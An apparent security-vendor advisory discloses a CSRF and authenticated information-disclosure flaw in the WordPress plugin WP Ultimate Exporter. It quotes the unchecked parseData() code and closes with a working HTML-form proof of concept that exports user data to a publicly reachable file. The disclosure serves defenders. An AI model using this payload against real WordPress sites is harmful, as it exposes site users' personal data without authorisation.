04 Mar

Authenticated Information Disclosure Vulnerability in WP Ultimate Exporter

On Monday while looking into why the plugin WP Ultimate CSV Importer was being targeted by a hacker we noticed that the companion plugin WP Ultimate Exporter is similarly insecure and contains an authenticated information disclosure vulnerability, which can also be exploited through cross-site request forgery (CSRF). This isn’t the first time we found an issue with this plugin and we put out a general warning about the security of the developer’s plugins back in 2016.

The plugin registers the function parseData() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

50
add_action('wp_ajax_parse_data',array($this,'parseData'));

That function, which is located in the file /exportExtensions/ExportExtension.php, does not do any security checks before allowing various WordPress data, including data on WordPress users, to be saved to a file:

174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
public  function parseData(){
	if(!empty($_POST)) {
		$this->module          = $_POST['module'];
		$this->exportType      = isset( $_POST['exp_type'] ) ? sanitize_text_field( $_POST['exp_type'] ) : 'csv';
		$conditions =  str_replace("\\" , '' , $_POST['conditions']);
		$conditions = json_decode($conditions, True);
		$conditions['specific_period']['to'] = date("Y-m-d", strtotime($conditions['specific_period']['to']) );
		$conditions['specific_period']['from'] = date("Y-m-d", strtotime($conditions['specific_period']['from']) );
		$this->conditions      = isset( $conditions ) && ! empty( $conditions ) ? $conditions : array();
		if($this->module == 'Taxonomies' || $this->module == 'CustomPosts' ){
			$this->optionalType    = $_POST['optionalType'];
		}
		else{
			$this->optionalType    = $this->getOptionalType($this->module);
		}
		$eventExclusions = str_replace("\\" , '' , $_POST['eventExclusions']);
		$eventExclusions = json_decode($eventExclusions, True);
		$this->eventExclusions = isset( $eventExclusions ) && ! empty( $eventExclusions ) ? $eventExclusions : array();
		$this->fileName        = isset( $_POST['fileName'] ) ? sanitize_text_field( $_POST['fileName'] ) : '';
		if(empty($_POST['offset'] )  || $_POST['offset']== 'undefined'){
			$this->offset = 0 ;
		}
		else{
			$this->offset          = isset( $_POST['offset'] ) ? sanitize_text_field( $_POST['offset'] ) : 0;
		}
		if(!empty($_POST['limit'] )){
			$this->limit           = isset( $_POST['limit'] ) ? sanitize_text_field( $_POST['limit'] ) : 1000;
		}
		else{
			$this->limit           = 50;
		}
		if(!empty($this->conditions['delimiter']['optional_delimiter'])){
			$this->delimiter = $this->conditions['delimiter']['optional_delimiter'] ? $this->conditions['delimiter']['optional_delimiter']: ',';
		}
		elseif(!empty($this->conditions['delimiter']['delimiter'])){
			$this->delimiter = $this->conditions['delimiter']['delimiter'] ? $this->conditions['delimiter']['delimiter'] : ',';
			if($this->delimiter == '{Tab}'){
				$this->delimiter = " ";
			}
			elseif($this->delimiter == '{Space}'){
				$this->delimiter = " ";	
			}
		}
 
		$this->export_mode = 'normal';
		$this->checkSplit = isset( $_POST['is_check_split'] ) ? sanitize_text_field( $_POST['is_check_split'] ) : 'false';
		$this->exportData();
	}
}

There should be a capabilities check as well as a nonce check to prevent CSRF before the file is generated.

Among the information that is sent with the request is the name the file will be saved as and the file is stored in a known publicly accessible directory, /wp-content/uploads/smack_uci_uploads/exports/, so when exploited through CSRF an attacker could download the file after it has been unintentionally generated by the other party involved.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will save a file to /wp-content/uploads/smack_uci_uploads/exports/test.csv with the data on WordPress users created from the beginning of the year until today, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=parse_data" method="POST">
<input type="hidden" name="module" value="Users" />
<input type="hidden" name="fileName" value="test" />
<input type="hidden" name="exp_type" value="csv" />
<input type="hidden" name="conditions" value='{"specific_period":{"is_check":true,"from":"2020-01-01","to":"2020-03-05"},"specific_authors":{"is_check":false,"author":""}}' />
<input type="hidden" name="export_mode" value="normal" />
<input type="hidden" name="offset" value="0" />
<input type="submit"  value="Submit" />
</form>
</body>go

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.